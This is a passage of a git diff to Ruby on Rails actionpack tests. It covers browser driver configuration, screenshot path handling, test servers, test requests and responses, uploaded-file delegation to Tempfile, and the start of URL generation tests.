+    assert_equal :chrome, driver.instance_variable_get(:@browser).name
+    assert_instance_of Selenium::WebDriver::Chrome::Options, driver.instance_variable_get(:@browser).options
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ url: "http://example.com/wd/hub" }), driver.instance_variable_get(:@options)
+  end
+
+  test "initializing the driver with a headless chrome" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, using: :headless_chrome, screen_size: [1400, 1400], options: { url: "http://example.com/wd/hub" })
+    assert_equal :selenium, driver.instance_variable_get(:@driver_type)
+    assert_equal :headless_chrome, driver.instance_variable_get(:@browser).name
+    assert_instance_of Selenium::WebDriver::Chrome::Options, driver.instance_variable_get(:@browser).options
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ url: "http://example.com/wd/hub" }), driver.instance_variable_get(:@options)
+  end
+
+  test "initializing the driver with a headless chrome and custom path" do
+    original_driver_path = ::Selenium::WebDriver::Chrome::Service.driver_path
+    assert_nothing_raised do
+      ::Selenium::WebDriver::Chrome::Service.driver_path = "bin/test"
+      ActionDispatch::SystemTesting::Driver.new(:selenium, using: :headless_chrome, screen_size: [1400, 1400])
+    end
+  ensure
+    ::Selenium::WebDriver::Chrome::Service.driver_path = original_driver_path
+  end
+
+  test "initializing the driver with a headless firefox" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, using: :headless_firefox, screen_size: [1400, 1400], options: { url: "http://example.com/wd/hub" })
+    assert_equal :selenium, driver.instance_variable_get(:@driver_type)
+    assert_equal :headless_firefox, driver.instance_variable_get(:@browser).name
+    assert_instance_of Selenium::WebDriver::Firefox::Options, driver.instance_variable_get(:@browser).options
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ url: "http://example.com/wd/hub" }), driver.instance_variable_get(:@options)
+  end
+
+  test "initializing the driver with a headless firefox and custom path" do
+    original_driver_path = ::Selenium::WebDriver::Firefox::Service.driver_path
+    assert_nothing_raised do
+      ::Selenium::WebDriver::Firefox::Service.driver_path = "bin/test"
+      ActionDispatch::SystemTesting::Driver.new(:selenium, using: :headless_firefox, screen_size: [1400, 1400])
+    end
+  ensure
+    ::Selenium::WebDriver::Firefox::Service.driver_path = original_driver_path
+  end
+
+  test "initializing the driver with a cuprite" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:cuprite, screen_size: [1400, 1400], options: { js_errors: false })
+    assert_equal :cuprite, driver.instance_variable_get(:@driver_type)
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ js_errors: false }), driver.instance_variable_get(:@options)
+  end
+
+  test "initializing the driver with Playwright" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:playwright, screen_size: [1400, 1400], options: { headless: true })
+
+    assert_equal :playwright, driver.instance_variable_get(:@driver_type)
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ headless: true }), driver.instance_variable_get(:@options)
+  end
+
+  test "define extra capabilities using chrome" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :chrome) do |option|
+      option.add_argument("start-maximized")
+      option.add_emulation(device_name: "iphone 6")
+      option.add_preference(:detach, true)
+    end
+    driver.use
+
+    expected = {
+      "goog:chromeOptions" => {
+        "args" => ["--disable-search-engine-choice-screen", "start-maximized"],
+        "mobileEmulation" => { "deviceName" => "iphone 6" },
+        "prefs" => { "detach" => true }
+      },
+      "browserName" => "chrome"
+    }
+    assert_driver_capabilities driver, expected
+  end
+
+  test "define extra capabilities using headless_chrome" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :headless_chrome) do |option|
+      option.add_argument("start-maximized")
+      option.add_emulation(device_name: "iphone 6")
+      option.add_preference(:detach, true)
+    end
+    driver.use
+
+    expected = {
+      "goog:chromeOptions" => {
+        "args" => ["--disable-search-engine-choice-screen", "--headless", "start-maximized"],
+        "mobileEmulation" => { "deviceName" => "iphone 6" },
+        "prefs" => { "detach" => true }
+      },
+      "browserName" => "chrome"
+    }
+    assert_driver_capabilities driver, expected
+  end
+
+  test "define extra capabilities using firefox" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :firefox) do |option|
+      option.add_preference("browser.startup.homepage", "http://www.seleniumhq.com/")
+      option.add_argument("--host=127.0.0.1")
+    end
+    driver.use
+
+    expected = {
+      "moz:firefoxOptions" => {
+        "args" => ["--host=127.0.0.1"],
+        "prefs" => { "remote.active-protocols" => 1, "browser.startup.homepage" => "http://www.seleniumhq.com/" }
+      },
+      "browserName" => "firefox"
+    }
+    assert_driver_capabilities driver, expected
+  end
+
+  test "define extra capabilities using headless_firefox" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :headless_firefox) do |option|
+      option.add_preference("browser.startup.homepage", "http://www.seleniumhq.com/")
+      option.add_argument("--host=127.0.0.1")
+    end
+    driver.use
+
+    expected = {
+      "moz:firefoxOptions" => {
+        "args" => ["-headless", "--host=127.0.0.1"],
+        "prefs" => { "remote.active-protocols" => 1, "browser.startup.homepage" => "http://www.seleniumhq.com/" }
+      },
+      "browserName" => "firefox"
+    }
+    assert_driver_capabilities driver, expected
+  end
+
+  test "assert_driver_capabilities ignores unexpected options" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :chrome) do |option|
+      option.binary = "/usr/bin/chromium-browser"
+    end
+    driver.use
+
+    expected = {
+      "goog:chromeOptions" => {
+        "args" => ["--disable-search-engine-choice-screen"],
+      },
+      "browserName" => "chrome"
+    }
+    assert_driver_capabilities driver, expected
+  end
+
+  test "does not define extra capabilities" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :firefox)
+
+    assert_nothing_raised do
+      driver.use
+    end
+  end
+
+  test "preloads browser's driver_path with DriverFinder if a path isn't already specified" do
+    original_driver_path = ::Selenium::WebDriver::Chrome::Service.driver_path
+    ::Selenium::WebDriver::Chrome::Service.driver_path = nil
+
+    # Our stub must return paths to a real executables, otherwise an internal Selenium assertion will fail.
+    # Note: SeleniumManager is private api
+    found_executable = RbConfig.ruby
+    ::Selenium::WebDriver::SeleniumManager.stub(:binary_paths, { "driver_path" => found_executable, "browser_path" => found_executable }) do
+      ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :chrome)
+    end
+
+    assert_equal found_executable, ::Selenium::WebDriver::Chrome::Service.driver_path
+  ensure
+    ::Selenium::WebDriver::Chrome::Service.driver_path = original_driver_path
+  end
+
+  test "does not overwrite existing driver_path during preload" do
+    original_driver_path = ::Selenium::WebDriver::Chrome::Service.driver_path
+    # The driver_path must point to a real executable, otherwise an internal Selenium assertion will fail.
+    ::Selenium::WebDriver::Chrome::Service.driver_path = RbConfig.ruby
+
+    assert_no_changes -> { ::Selenium::WebDriver::Chrome::Service.driver_path } do
+      ActionDispatch::SystemTesting::Driver.new(:selenium, screen_size: [1400, 1400], using: :chrome)
+    end
+  ensure
+    ::Selenium::WebDriver::Chrome::Service.driver_path = original_driver_path
+  end
+
+  test "does not configure browser if driver is not :selenium" do
+    # Check that it does configure browser if the driver is :selenium
+    assert ActionDispatch::SystemTesting::Driver.new(:selenium).instance_variable_get(:@browser)
+
+    assert_nil ActionDispatch::SystemTesting::Driver.new(:rack_test).instance_variable_get(:@browser)
+    assert_nil ActionDispatch::SystemTesting::Driver.new(:cuprite).instance_variable_get(:@browser)
+  end
+
+  test "driver names default to driver type" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium)
+    assert_equal :selenium, driver.name
+  end
+
+  test "driver names can by specified explicitly" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, options: { name: :best_driver })
+    assert_equal :best_driver, driver.name
+  end
+
+  private
+    def assert_driver_capabilities(driver, expected_capabilities)
+      capabilities = driver.__send__(:browser_options)[:options].as_json
+
+      expected_capabilities.each do |key, expected_value|
+        actual_value = capabilities[key]
+
+        case expected_value
+        when Array
+          expected_value.each { |item| assert_includes actual_value, item, "Expected #{key} to include #{item}" }
+        when Hash
+          expected_value.each do |sub_key, sub_value|
+            real_value = actual_value&.dig(sub_key)
+            assert_equal sub_value, real_value, "Expected #{key}[#{sub_key}] to be #{sub_value}, got #{real_value}"
+          end
+        else
+          assert_equal expected_value, actual_value, "Expected #{key} to be #{expected_value}, got #{actual_value}"
+        end
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/system_testing/screenshot_helper_test.rb b/actionpack/test/dispatch/system_testing/screenshot_helper_test.rb
new file mode 100644
index 0000000000000..bcf7eca1f369d
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/screenshot_helper_test.rb
@@ -0,0 +1,211 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "support/system_helper"
+require "action_dispatch/system_testing/test_helpers/screenshot_helper"
+require "capybara/dsl"
+require "selenium/webdriver"
+
+class ScreenshotHelperTest < ActiveSupport::TestCase
+  def setup
+    @new_test = DrivenBySeleniumWithChrome.new("x")
+    @new_test.send("_screenshot_counter=", nil)
+  end
+
+  test "image path is saved in tmp directory" do
+    Rails.stub :root, Pathname.getwd do
+      assert_equal Rails.root.join("tmp/screenshots/0_x.png").to_s, @new_test.send(:image_path)
+    end
+  end
+
+  test "image path unique counter is changed when incremented" do
+    @new_test.send(:increment_unique)
+
+    Rails.stub :root, Pathname.getwd do
+      assert_equal Rails.root.join("tmp/screenshots/1_x.png").to_s, @new_test.send(:image_path)
+    end
+  end
+
+  # To allow multiple screenshots in same test
+  test "image path unique counter generates different path in same test" do
+    Rails.stub :root, Pathname.getwd do
+      @new_test.send(:increment_unique)
+      assert_equal Rails.root.join("tmp/screenshots/1_x.png").to_s, @new_test.send(:image_path)
+
+      @new_test.send(:increment_unique)
+      assert_equal Rails.root.join("tmp/screenshots/2_x.png").to_s, @new_test.send(:image_path)
+    end
+  end
+
+  test "image path uses the Capybara.save_path to set a custom directory" do
+    original_save_path = Capybara.save_path
+    Capybara.save_path = "custom_dir"
+
+    Rails.stub :root, Pathname.getwd do
+      assert_equal Rails.root.join("custom_dir/0_x.png").to_s, @new_test.send(:image_path)
+    end
+  ensure
+    Capybara.save_path = original_save_path
+  end
+
+  test "image path includes failures text if test did not pass" do
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :passed?, false do
+        assert_equal Rails.root.join("tmp/screenshots/failures_x.png").to_s, @new_test.send(:image_path)
+        assert_equal Rails.root.join("tmp/screenshots/failures_x.html").to_s, @new_test.send(:html_path)
+      end
+    end
+  end
+
+  test "image path does not include failures text if test skipped" do
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :passed?, false do
+        @new_test.stub :skipped?, true do
+          assert_equal Rails.root.join("tmp/screenshots/0_x.png").to_s, @new_test.send(:image_path)
+          assert_equal Rails.root.join("tmp/screenshots/0_x.html").to_s, @new_test.send(:html_path)
+        end
+      end
+    end
+  end
+
+  test "image name truncates names over 225 characters including counter" do
+    long_test = DrivenBySeleniumWithChrome.new("x" * 400)
+
+    Rails.stub :root, Pathname.getwd do
+      assert_equal Rails.root.join("tmp/screenshots/0_#{"x" * 223}.png").to_s, long_test.send(:image_path)
+      assert_equal Rails.root.join("tmp/screenshots/0_#{"x" * 223}.html").to_s, long_test.send(:html_path)
+    end
+  end
+
+  test "defaults to simple output for the screenshot" do
+    assert_equal "simple", @new_test.send(:output_type)
+  end
+
+  test "take_screenshot saves image and shows link to it" do
+    display_image_actual = nil
+
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :save_image, nil do
+        @new_test.stub :show, -> (img) { display_image_actual = img } do
+          @new_test.take_screenshot
+        end
+      end
+    end
+    assert_match %r|\[Screenshot Image\].+?tmp/screenshots/1_x\.png |, display_image_actual
+  end
+
+  test "take_screenshot saves HTML and shows link to it when using RAILS_SYSTEM_TESTING_SCREENSHOT_HTML env" do
+    original_html_setting = ENV["RAILS_SYSTEM_TESTING_SCREENSHOT_HTML"]
+    ENV["RAILS_SYSTEM_TESTING_SCREENSHOT_HTML"] = "1"
+
+    display_image_actual = nil
+    called_save_html = false
+
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :save_image, nil do
+        @new_test.stub :show, -> (img) { display_image_actual = img } do
+          @new_test.stub :save_html, -> { called_save_html = true } do
+            @new_test.take_screenshot
+          end
+        end
+      end
+    end
+    assert called_save_html
+    assert_match %r|\[Screenshot HTML\].+?tmp/screenshots/1_x\.html |, display_image_actual
+  ensure
+    ENV["RAILS_SYSTEM_TESTING_SCREENSHOT_HTML"] = original_html_setting
+  end
+
+  test "take_screenshot saves HTML and shows link to it when using html: kwarg" do
+    display_image_actual = nil
+    called_save_html = false
+
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :save_image, nil do
+        @new_test.stub :show, -> (img) { display_image_actual = img } do
+          @new_test.stub :save_html, -> { called_save_html = true } do
+            @new_test.take_screenshot(html: true)
+          end
+        end
+      end
+    end
+    assert called_save_html
+    assert_match %r|\[Screenshot HTML\].+?tmp/screenshots/1_x\.html |, display_image_actual
+  end
+
+  test "take_screenshot allows changing screenshot display format via RAILS_SYSTEM_TESTING_SCREENSHOT env" do
+    original_output_type = ENV["RAILS_SYSTEM_TESTING_SCREENSHOT"]
+    ENV["RAILS_SYSTEM_TESTING_SCREENSHOT"] = "artifact"
+
+    display_image_actual = nil
+
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :save_image, nil do
+        @new_test.stub :show, -> (img) { display_image_actual = img } do
+          @new_test.take_screenshot
+        end
+      end
+    end
+
+    assert_match %r|url=artifact://.+?tmp/screenshots/1_x\.png|, display_image_actual
+  ensure
+    ENV["RAILS_SYSTEM_TESTING_SCREENSHOT"] = original_output_type
+  end
+
+  test "take_screenshot allows changing screenshot display format via screenshot: kwarg" do
+    display_image_actual = nil
+
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :save_image, nil do
+        @new_test.stub :show, -> (img) { display_image_actual = img } do
+          @new_test.take_screenshot(screenshot: "artifact")
+        end
+      end
+    end
+
+    assert_match %r|url=artifact://.+?tmp/screenshots/1_x\.png|, display_image_actual
+  end
+
+  test "take_failed_screenshot persists the image path in the test metadata" do
+    Rails.stub :root, Pathname.getwd do
+      @new_test.stub :passed?, false do
+        Capybara::Session.stub :instance_created?, true do
+          @new_test.stub :save_image, nil do
+            @new_test.stub :show, -> (_) { } do
+              @new_test.take_failed_screenshot
+
+              assert_equal @new_test.send(:relative_image_path), @new_test.metadata[:failure_screenshot_path]
+            end
+          end
+        end
+      end
+    end
+  end
+
+  test "image path returns the absolute path from root" do
+    Rails.stub :root, Pathname.getwd.join("..") do
+      assert_equal Rails.root.join("tmp/screenshots/0_x.png").to_s, @new_test.send(:image_path)
+    end
+  end
+
+  test "Non word characters are replaced with dashes in paths" do
+    non_word_chars_test = DrivenBySeleniumWithChrome.new("x/y\\z?<br>-span")
+
+    Rails.stub :root, Pathname.getwd do
+      assert_equal Rails.root.join("tmp/screenshots/0_x-y-z-br-span.png").to_s, non_word_chars_test.send(:image_path)
+      assert_equal Rails.root.join("tmp/screenshots/0_x-y-z-br-span.html").to_s, non_word_chars_test.send(:html_path)
+    end
+  end
+end
+
+class RackTestScreenshotsTest < DrivenByRackTest
+  test "rack_test driver does not support screenshot" do
+    assert_not self.send(:supports_screenshot?)
+  end
+end
+
+class SeleniumScreenshotsTest < DrivenBySeleniumWithChrome
+  test "selenium driver supports screenshot" do
+    assert self.send(:supports_screenshot?)
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/server_test.rb b/actionpack/test/dispatch/system_testing/server_test.rb
new file mode 100644
index 0000000000000..740e90a4dad69
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/server_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "capybara/dsl"
+require "action_dispatch/system_testing/server"
+
+class ServerTest < ActiveSupport::TestCase
+  setup do
+    @old_capybara_server = Capybara.server
+  end
+
+  test "port is always included" do
+    ActionDispatch::SystemTesting::Server.new.run
+    assert Capybara.always_include_port, "expected Capybara.always_include_port to be true"
+  end
+
+  test "server is changed from `default` to `puma`" do
+    Capybara.server = :default
+    ActionDispatch::SystemTesting::Server.new.run
+    assert_not_equal Capybara.server, Capybara.servers[:default]
+  end
+
+  test "server is not changed to `puma` when is different than default" do
+    Capybara.server = :webrick
+    ActionDispatch::SystemTesting::Server.new.run
+    assert_equal Capybara.server, Capybara.servers[:webrick]
+  end
+
+  teardown do
+    Capybara.server = @old_capybara_server
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/system_test_case_test.rb b/actionpack/test/dispatch/system_testing/system_test_case_test.rb
new file mode 100644
index 0000000000000..eb97f98b8dd3a
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/system_test_case_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "support/system_helper"
+require "selenium/webdriver"
+
+class SetDriverToRackTestTest < DrivenByRackTest
+  test "uses rack_test" do
+    assert_equal :rack_test, Capybara.current_driver
+  end
+end
+
+class OverrideSeleniumSubclassToRackTestTest < DrivenBySeleniumWithChrome
+  driven_by :rack_test
+
+  test "uses rack_test" do
+    assert_equal :rack_test, Capybara.current_driver
+  end
+end
+
+class OverrideDriverWithExplicitName < DrivenBySeleniumWithChrome
+  driven_by :selenium, options: { name: :best_driver }
+
+  test "uses specified driver name" do
+    assert_equal :best_driver, Capybara.current_driver
+  end
+end
+
+class SetDriverToSeleniumTest < DrivenBySeleniumWithChrome
+  test "uses selenium" do
+    assert_equal :selenium, Capybara.current_driver
+  end
+end
+
+class SetDriverToSeleniumHeadlessChromeTest < DrivenBySeleniumWithHeadlessChrome
+  test "uses selenium headless chrome" do
+    assert_equal :selenium, Capybara.current_driver
+  end
+end
+
+class SetDriverToSeleniumHeadlessFirefoxTest < DrivenBySeleniumWithHeadlessFirefox
+  test "uses selenium headless firefox" do
+    assert_equal :selenium, Capybara.current_driver
+  end
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
index 85a6df4975ec1..ccca32718e3af 100644
--- a/actionpack/test/dispatch/test_request_test.rb
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TestRequestTest < ActiveSupport::TestCase
-  test "sane defaults" do
+  test "reasonable defaults" do
     env = ActionDispatch::TestRequest.create.env
 
     assert_equal "GET", env.delete("REQUEST_METHOD")
@@ -12,18 +14,12 @@ class TestRequestTest < ActiveSupport::TestCase
     assert_equal "/", env.delete("PATH_INFO")
     assert_equal "", env.delete("SCRIPT_NAME")
     assert_equal "", env.delete("QUERY_STRING")
-    assert_equal "0", env.delete("CONTENT_LENGTH")
 
     assert_equal "test.host", env.delete("HTTP_HOST")
     assert_equal "0.0.0.0", env.delete("REMOTE_ADDR")
     assert_equal "Rails Testing", env.delete("HTTP_USER_AGENT")
 
-    assert_equal [1, 3], env.delete("rack.version")
-    assert_equal "", env.delete("rack.input").string
     assert_kind_of StringIO, env.delete("rack.errors")
-    assert_equal true, env.delete("rack.multithread")
-    assert_equal true, env.delete("rack.multiprocess")
-    assert_equal false, env.delete("rack.run_once")
   end
 
   test "cookie jar" do
@@ -95,25 +91,28 @@ class TestRequestTest < ActiveSupport::TestCase
     assert_equal "POST", req.request_method
   end
 
-  test "setter methods" do
+  test "setter methods work and do not change Rack SPEC conformity" do
     req = ActionDispatch::TestRequest.create({})
     get = "GET"
 
     [
-      "request_method=", "host=", "request_uri=", "path=", "if_modified_since=", "if_none_match=",
+      "request_method=", "host=", "request_uri=", "if_modified_since=", "if_none_match=",
       "remote_addr=", "user_agent=", "accept="
     ].each do |method|
       req.send(method, get)
     end
 
-    req.port = 8080
+    req.path = "/get"
+    req.port = "8080"
     req.accept = "hello goodbye"
 
+    Rack::Lint.new(->(_) { [200, {}, []] }).call(req.env)
+
     assert_equal(get, req.get_header("REQUEST_METHOD"))
     assert_equal(get, req.get_header("HTTP_HOST"))
-    assert_equal(8080, req.get_header("SERVER_PORT"))
+    assert_equal("8080", req.get_header("SERVER_PORT"))
     assert_equal(get, req.get_header("REQUEST_URI"))
-    assert_equal(get, req.get_header("PATH_INFO"))
+    assert_equal("/get", req.get_header("PATH_INFO"))
     assert_equal(get, req.get_header("HTTP_IF_MODIFIED_SINCE"))
     assert_equal(get, req.get_header("HTTP_IF_NONE_MATCH"))
     assert_equal(get, req.get_header("REMOTE_ADDR"))
diff --git a/actionpack/test/dispatch/test_response_test.rb b/actionpack/test/dispatch/test_response_test.rb
index 98eafb5119c6d..81acc429fbf39 100644
--- a/actionpack/test/dispatch/test_response_test.rb
+++ b/actionpack/test/dispatch/test_response_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TestResponseTest < ActiveSupport::TestCase
@@ -23,6 +25,49 @@ def assert_response_code_range(range, predicate)
     assert_equal response.body, response.parsed_body
 
     response = ActionDispatch::TestResponse.create(200, { "Content-Type" => "application/json" }, '{ "foo": "fighters" }')
+    assert_kind_of ActiveSupport::HashWithIndifferentAccess, response.parsed_body
     assert_equal({ "foo" => "fighters" }, response.parsed_body)
+
+    response = ActionDispatch::TestResponse.create(200, { "Content-Type" => "text/html" }, <<~HTML)
+      <html>
+        <head></head>
+        <body>
+          <div>Content</div>
+        </body>
+      </html>
+    HTML
+    assert_kind_of(Nokogiri::XML::Document, response.parsed_body)
+    assert_equal("Content", response.parsed_body.at_xpath("/html/body/div").text)
+  end
+
+  test "JSON response Hash pattern matching" do
+    response = ActionDispatch::TestResponse.create(200, { "Content-Type" => "application/json" }, '{ "foo": "fighters" }')
+
+    assert_pattern { response.parsed_body => { foo: /fighter/ } }
+  end
+
+  test "JSON response Array pattern matching" do
+    response = ActionDispatch::TestResponse.create(200, { "Content-Type" => "application/json" }, '[{ "foo": "fighters" }, { "nir": "vana" }]')
+    assert_pattern { response.parsed_body => [{ foo: /fighter/ }, { nir: /vana/ }] }
+  end
+
+  test "HTML response pattern matching" do
+    response = ActionDispatch::TestResponse.create(200, { "Content-Type" => "text/html" }, <<~HTML)
+      <html>
+        <head></head>
+        <body>
+          <main><h1>Some main content</h1></main>
+        </body>
+      </html>
+    HTML
+    html = response.parsed_body
+
+    html.at("main") => { name:, content: }
+    assert_equal "main", name
+    assert_equal "Some main content", content
+
+    assert_pattern { html.at("main") => { content: "Some main content" } }
+    assert_pattern { html.at("main") => { content: /content/ } }
+    assert_pattern { html.at("main") => { children: [{ name: "h1", content: /content/ }] } }
   end
 end
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
index 51680216e4922..b40899a7c68b4 100644
--- a/actionpack/test/dispatch/uploaded_file_test.rb
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "tempfile"
+require "stringio"
 
 module ActionDispatch
   class UploadedFileTest < ActiveSupport::TestCase
@@ -9,97 +13,130 @@ def test_constructor_with_argument_error
     end
 
     def test_original_filename
-      uf = Http::UploadedFile.new(filename: "foo", tempfile: Object.new)
+      uf = Http::UploadedFile.new(filename: "foo", tempfile: Tempfile.new)
       assert_equal "foo", uf.original_filename
     end
 
+    def test_filename_is_different_object
+      file_str = "foo"
+      uf = Http::UploadedFile.new(filename: file_str, tempfile: Tempfile.new)
+      assert_not_equal file_str.object_id, uf.original_filename.object_id
+    end
+
     def test_filename_should_be_in_utf_8
-      uf = Http::UploadedFile.new(filename: "foo", tempfile: Object.new)
+      uf = Http::UploadedFile.new(filename: "foo", tempfile: Tempfile.new)
       assert_equal "UTF-8", uf.original_filename.encoding.to_s
     end
 
     def test_filename_should_always_be_in_utf_8
       uf = Http::UploadedFile.new(filename: "foo".encode(Encoding::SHIFT_JIS),
-                                  tempfile: Object.new)
+                                  tempfile: Tempfile.new)
       assert_equal "UTF-8", uf.original_filename.encoding.to_s
     end
 
     def test_content_type
-      uf = Http::UploadedFile.new(type: "foo", tempfile: Object.new)
+      uf = Http::UploadedFile.new(type: "foo", tempfile: Tempfile.new)
       assert_equal "foo", uf.content_type
     end
 
     def test_headers
-      uf = Http::UploadedFile.new(head: "foo", tempfile: Object.new)
+      uf = Http::UploadedFile.new(head: "foo", tempfile: Tempfile.new)
       assert_equal "foo", uf.headers
     end
 
+    def test_headers_should_be_in_utf_8
+      uf = Http::UploadedFile.new(filename: "foo", head: "foo", tempfile: Tempfile.new)
+      assert_equal "UTF-8", uf.headers.encoding.to_s
+    end
+
+    def test_headers_should_always_be_in_utf_8
+      uf = Http::UploadedFile.new(filename: "foo",
+                                  head: "\xC3foo".dup.force_encoding(Encoding::ASCII_8BIT),
+                                  tempfile: Tempfile.new)
+      assert_equal "UTF-8", uf.headers.encoding.to_s
+    end
+
     def test_tempfile
-      uf = Http::UploadedFile.new(tempfile: "foo")
-      assert_equal "foo", uf.tempfile
+      tf = Tempfile.new
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal tf, uf.tempfile
     end
 
-    def test_to_io_returns_the_tempfile
-      tf = Object.new
+    def test_to_io_returns_file
+      tf = Tempfile.new
       uf = Http::UploadedFile.new(tempfile: tf)
-      assert_equal tf, uf.to_io
+      assert_equal tf.to_io, uf.to_io
     end
 
     def test_delegates_path_to_tempfile
-      tf = Class.new { def path; "thunderhorse" end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert_equal "thunderhorse", uf.path
+      tf = Tempfile.new
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal tf.path, uf.path
     end
 
     def test_delegates_open_to_tempfile
-      tf = Class.new { def open; "thunderhorse" end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert_equal "thunderhorse", uf.open
+      tf = Tempfile.new
+      tf.close
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal tf, uf.open
+      assert_not tf.closed?
     end
 
     def test_delegates_close_to_tempfile
-      tf = Class.new { def close(unlink_now = false); "thunderhorse" end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert_equal "thunderhorse", uf.close
+      tf = Tempfile.new
+      uf = Http::UploadedFile.new(tempfile: tf)
+      uf.close
+      assert_predicate tf, :closed?
     end
 
     def test_close_accepts_parameter
-      tf = Class.new { def close(unlink_now = false); "thunderhorse: #{unlink_now}" end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert_equal "thunderhorse: true", uf.close(true)
+      tf = Tempfile.new
+      uf = Http::UploadedFile.new(tempfile: tf)
+      uf.close(true)
+      assert_predicate tf, :closed?
+      assert_nil tf.path
     end
 
     def test_delegates_read_to_tempfile
-      tf = Class.new { def read(length = nil, buffer = nil); "thunderhorse" end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
+      tf = Tempfile.new
+      tf << "thunderhorse"
+      tf.rewind
+      uf = Http::UploadedFile.new(tempfile: tf)
       assert_equal "thunderhorse", uf.read
     end
 
     def test_delegates_read_to_tempfile_with_params
-      tf = Class.new { def read(length = nil, buffer = nil); [length, buffer] end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert_equal %w{ thunder horse }, uf.read(*%w{ thunder horse })
+      tf = Tempfile.new
+      tf << "thunderhorse"
+      tf.rewind
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal "thunder", uf.read(7)
+      assert_equal "horse",   uf.read(5, String.new)
     end
 
-    def test_delegate_respects_respond_to?
-      tf = Class.new { def read; yield end; private :read }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert_raises(NoMethodError) do
-        uf.read
-      end
+    def test_delegate_eof_to_tempfile
+      tf = Tempfile.new
+      tf << "thunderhorse"
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal true, uf.eof?
+      tf.rewind
+      assert_equal false, uf.eof?
     end
 
-    def test_delegate_eof_to_tempfile
-      tf = Class.new { def eof?; true end; }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert uf.eof?
+    def test_delegate_to_path_to_tempfile
+      tf = Tempfile.new
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal tf.to_path, uf.to_path
     end
 
-    def test_respond_to?
-      tf = Class.new { def read; yield end }
-      uf = Http::UploadedFile.new(tempfile: tf.new)
-      assert uf.respond_to?(:headers), "responds to headers"
-      assert uf.respond_to?(:read), "responds to read"
+    def test_io_copy_stream
+      tf = Tempfile.new
+      tf << "thunderhorse"
+      tf.rewind
+      uf = Http::UploadedFile.new(tempfile: tf)
+      result = StringIO.new
+      IO.copy_stream(uf, result)
+      assert_equal "thunderhorse", result.string
     end
   end
 end
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index 5d81fd68347de..25442e37c3941 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module TestUrlGeneration
@@ -10,10 +12,25 @@ class ::MyRouteGeneratingController < ActionController::Base
       def index
         render plain: foo_path
       end
+
+      def add_trailing_slash
+        render plain: url_for(trailing_slash: true, params: request.query_parameters, format: params[:format])
+      end
+
+      def trailing_slash_default
+        if params[:url]
+          render plain: trailing_slash_default_url(format: params[:url_format])
+        else
+          render plain: trailing_slash_default_path(format: params[:url_format])
+        end
+      end
     end
 
     Routes.draw do
       get "/foo", to: "my_route_generating#index", as: :foo
